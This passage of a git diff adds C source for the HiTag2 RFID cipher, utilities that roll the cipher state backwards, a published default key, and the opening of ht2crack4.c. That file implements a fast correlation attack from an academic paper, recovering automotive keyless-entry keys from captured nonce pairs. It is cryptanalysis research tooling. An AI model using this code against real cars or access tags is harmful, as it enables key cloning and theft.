+ similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack4/hitagcrypto.h b/tools/hitag2crack/crack4/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack4/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack4/ht2crack2utils.c b/tools/hitag2crack/crack4/ht2crack2utils.c new file mode 100644 index 000000000..2152f8ef3 --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack2utils.c @@ -0,0 +1,187 @@ +#include "ht2crack2utils.h" + +// writes a value into a buffer as a series of bytes +void writebuf(unsigned char *buf, uint64_t val, unsigned int len) +{ + int i; + char c; + + for (i=len-1; i>=0; i--) + { + c = val & 0xff; + buf[i] = c; + val = val >> 8; + } + +} + + +/* simple hexdump for testing purposes */ +void shexdump(unsigned char *data, int data_len) +{ + int i; + + if (!data || (data_len <= 0)) { + printf("shexdump: invalid parameters\n"); + return; + } + + printf("Hexdump from %p:\n", data); + + for (i=0; i> 7); + x = x << 1; + } + } + printf("\n"); +} + + +void printbin2(uint64_t val, unsigned int size) +{ + int i; + uint64_t mask = 1; + + mask = mask << (size - 1); + + for (i=0; ishiftreg, 48); + printf("\n"); +} + + + + +// convert hex char to binary +unsigned char hex2bin(unsigned char c) +{ + if ((c >= '0') && (c <= '9')) { + return (c - '0'); + } else if ((c >= 'a') && (c <= 'f')) { + return (c - 'a' + 10); + } else if ((c >= 'A') && (c <= 'F')) { + return (c - 'A' + 10); + } else { + return 0; + } +} + +// return a single bit from a value +int bitn(uint64_t x, int bit) +{ + uint64_t bitmask = 1; + + bitmask = bitmask << bit; + + if (x & bitmask) { + return 1; + } else { + return 0; + } +} + + +// the sub-function R that rollback depends upon +int fnR(uint64_t x) +{ + // renumbered bits because my state is 0-47, not 1-48 + return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^ + bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^ + bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47)); +} + +// the rollback function that lets us go backwards in time +void rollback(Hitag_State *hstate, unsigned int steps) +{ + int i; + + for (i=0; ishiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg); + } + +} + + +// the three filter sub-functions that feed fnf +int fa(unsigned int i) +{ + return bitn(0x2C79, i); +} + +int fb(unsigned int i) +{ + return bitn(0x6671, i); +} + +int fc(unsigned int i) +{ + return bitn(0x7907287B, i); +} + +// the filter function that generates a bit of output from the prng state +int fnf(uint64_t s) +{ + unsigned int x1, x2, x3, x4, x5, x6; + + x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3); + x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3); + x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3); + x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3); + x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3); + + x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4); + + return fc(x6); +} + +// builds the lfsr for the prng (quick calcs for hitag2_nstep()) +void buildlfsr(Hitag_State *hstate) +{ + uint64_t state = hstate->shiftreg; + uint64_t temp; + + temp = state ^ (state >> 1); + hstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); +} + + + diff --git a/tools/hitag2crack/crack4/ht2crack2utils.h b/tools/hitag2crack/crack4/ht2crack2utils.h new file mode 100644 index 000000000..14eea840c --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack2utils.h @@ -0,0 +1,34 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "util.h" + +#include "hitagcrypto.h" + +#define HEX_PER_ROW 16 + + + +void writebuf(unsigned char *buf, uint64_t val, unsigned int len); +void shexdump(unsigned char *data, int data_len); +void printbin(unsigned char *c); +void printbin2(uint64_t val, unsigned int size); +void printstate(Hitag_State *hstate); +unsigned char hex2bin(unsigned char c); +int bitn(uint64_t x, int bit); +int fnR(uint64_t x); +void rollback(Hitag_State *hstate, unsigned int steps); +int fa(unsigned int i); +int fb(unsigned int i); +int fc(unsigned int i); +int fnf(uint64_t s); +void buildlfsr(Hitag_State *hstate); diff --git a/tools/hitag2crack/crack4/ht2crack4.c b/tools/hitag2crack/crack4/ht2crack4.c new file mode 100644 index 000000000..da439692f --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack4.c @@ -0,0 +1,868 @@ +/* ht2crack4.c + * + * This is an implementation of the fast correlation attack in Section 4.4 of the + * paper, Lock It and Still Lose It - On the (In)Security of Automotive Remote + * Keyless Entry Systems by Garcia, Oswald, Kasper and Pavlides. + * It is essentially an attack on the HiTag2 cryptosystem; it uses a small number + * (between 4 and 32) of encrypted nonce and challenge response pairs for the same + * UID to recover the key. + * + * Key recovery is performed by enumerating all 65536 of the first 16 bits of the + * key and then, using the encrypted nonces and challenge response pairs, scoring + * all of the guesses for how likely they are to be the first 16 bits of the actual + * key. The best of these guesses are then expanded by 1 bit and the process + * iterates until all bits have been guessed. The resulting guesses are then searched + * for the one that is actually correct, testing against two pairs. + * + * The program reads in up to 32 encrypted nonce and challenge response pairs from + * the supplied file; the number actually used is specified on the command line + * (defaults to all those read in). The default size of the table is 800000 but this + * can be changed via the command line options. + * + * Using more encrypted nonce and challenge response pairs improves the chances of + * recovering the key and doesn't significantly add to the time it takes. + * + * Using a larger table also improves the chances of recovering the key but + * *significantly* increases the time it takes to run. + * + * Best recommendation is to use as many encrypted nonce and challenge response + * pairs as you can, and start with a table size of about 500000, as this will take + * around 45s to run. If it fails, run it again with a table size of 1000000, + * continuing to double the table size until it succeeds. Alternatively, start with + * a table size of about 3000000 and expect it to take around 4 mins to run, but + * with a high likelihood of success. + * + * Setting table size to a large number (~32000000) will likely blow up the stack + * during the recursive qsort(). This could be fixed by making the stack space + * larger but really, you need a smaller table and more encrypted nonces. + * + * The scoring of the guesses is controversial, having been tweaked over and again + * to find a measure that provides the best results. Feel free to tweak it yourself + * if you don't like it or want to try alternative metrics. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "ht2crack2utils.h" + +/* you could have more than 32 traces, but you shouldn't really need + * more than 16. You can still win with 8 if you're lucky. */ +#define MAX_NONCES 32 + +/* set this to the number of virtual cores you have */ +#define NUM_THREADS 8 + +/* encrypted nonce and keystream storage + * ks is ~enc_aR */ +struct nonce { + uint64_t enc_nR; + uint64_t ks; +}; + +/* guess table entry - we store key guesses and do the maths to convert + * to states in the code + * score is used for sorting purposes + * b0to31 is an array of the keystream generated from the init state + * that is later XORed with the encrypted nonce and key guess + */ +struct guess { + uint64_t key; + double score; + uint64_t b0to31[MAX_NONCES]; +}; + +/* thread_data is the data sent to the scoring threads */ +struct thread_data { + unsigned int start; + unsigned int end; + unsigned int size; +}; + +/* guess table and encrypted nonce/keystream table */ +struct guess *guesses = NULL; +unsigned int num_guesses; +struct nonce nonces[MAX_NONCES]; +unsigned int num_nRaR; +uint64_t uid; +int maxtablesize = 800000; +uint64_t supplied_testkey = 0; + +void usage() +{ + printf("ht2crack4 - K Sheldrake, based on the work of Garcia et al\n\n"); + printf("Cracks a HiTag2 key using a small number (4 to 16) of encrypted\n"); + printf("nonce and challenge response pairs, using a fast correlation\n"); + printf("approach.\n\n"); + printf(" -u UID (required)\n"); + printf(" -n NONCEFILE (required)\n"); + printf(" -N number of nRaR pairs to use (defaults to 32)\n"); + printf(" -t TABLESIZE (defaults to 800000\n"); + printf("Increasing the table size will slow it down but will be more\n"); + printf("successful.\n"); + + exit(1); +} + + +/* macros to select bits from lfsr states - from RFIDler code */ +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + +/* boolean tables for fns a, b and c - from RFIDler code */ +const uint64_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 +const uint64_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 +const uint64_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + +/* following arrays are the probabilities of getting a 1 from each function, given + * a known least-sig pattern. first index is num bits in known part, second is the + * bit pattern of the known part. */ +double pfna[][8] = { +{0.50000, 0.50000, }, +{0.50000, 0.50000, 0.50000, 0.50000, }, +{0.50000, 0.00000, 0.50000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, }, +}; +double pfnb[][8] = { +{0.62500, 0.37500, }, +{0.50000, 0.75000, 0.75000, 0.00000, }, +{0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 1.00000, 1.00000, 0.00000, }, +}; +double pfnc[][16] = { +{0.50000, 0.50000, }, +{0.62500, 0.62500, 0.37500, 0.37500, }, +{0.75000, 0.50000, 0.25000, 0.75000, 0.50000, 0.75000, 0.50000, 0.00000, }, +{1.00000, 1.00000, 0.50000, 0.50000, 0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 0.00000, 0.00000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, }, +}; + + +/* hitag2_crypt works on the post-shifted form of the lfsr; this is the ref in rfidler code */ +static uint32_t hitag2_crypt(uint64_t s) +{ + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + +/* ht2crypt works on the pre-shifted form of the lfsr; this is the ref in the paper */ +uint64_t ht2crypt(uint64_t s) +{ + uint64_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 2, 5)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 8, 12, 14)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 17, 21, 23, 26)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 28, 31, 33)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 34, 43, 46)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +/* fnL is the feedback function for the reference code */ +uint64_t fnL(uint64_t x) +{ + return (bitn(x, 0) ^ bitn(x, 2) ^ bitn(x, 3) ^ bitn(x, 6) ^ bitn(x, 7) ^ bitn(x, 8) ^ + bitn(x, 16) ^ bitn(x, 22) ^ bitn(x, 23) ^ bitn(x, 26) ^ bitn(x, 30) ^ bitn(x, 41) ^ + bitn(x, 42) ^ bitn(x, 43) ^ bitn(x, 46) ^ bitn(x, 47)); +} + + +/* packed_size is an array that maps the number of confirmed bits in a state to + * the number of relevant bits. + * e.g. if there are 16 confirmed bits in a state, then packed_size[16] = 8 relevant bits. + * this is for pre-shifted lfsr */ +unsigned int packed_size[] = { 0, 0, 0, 1, 2, 2, 3, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8, + 8, 9, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 13, 14, 14, 15, + 15, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 19, 19, 20, 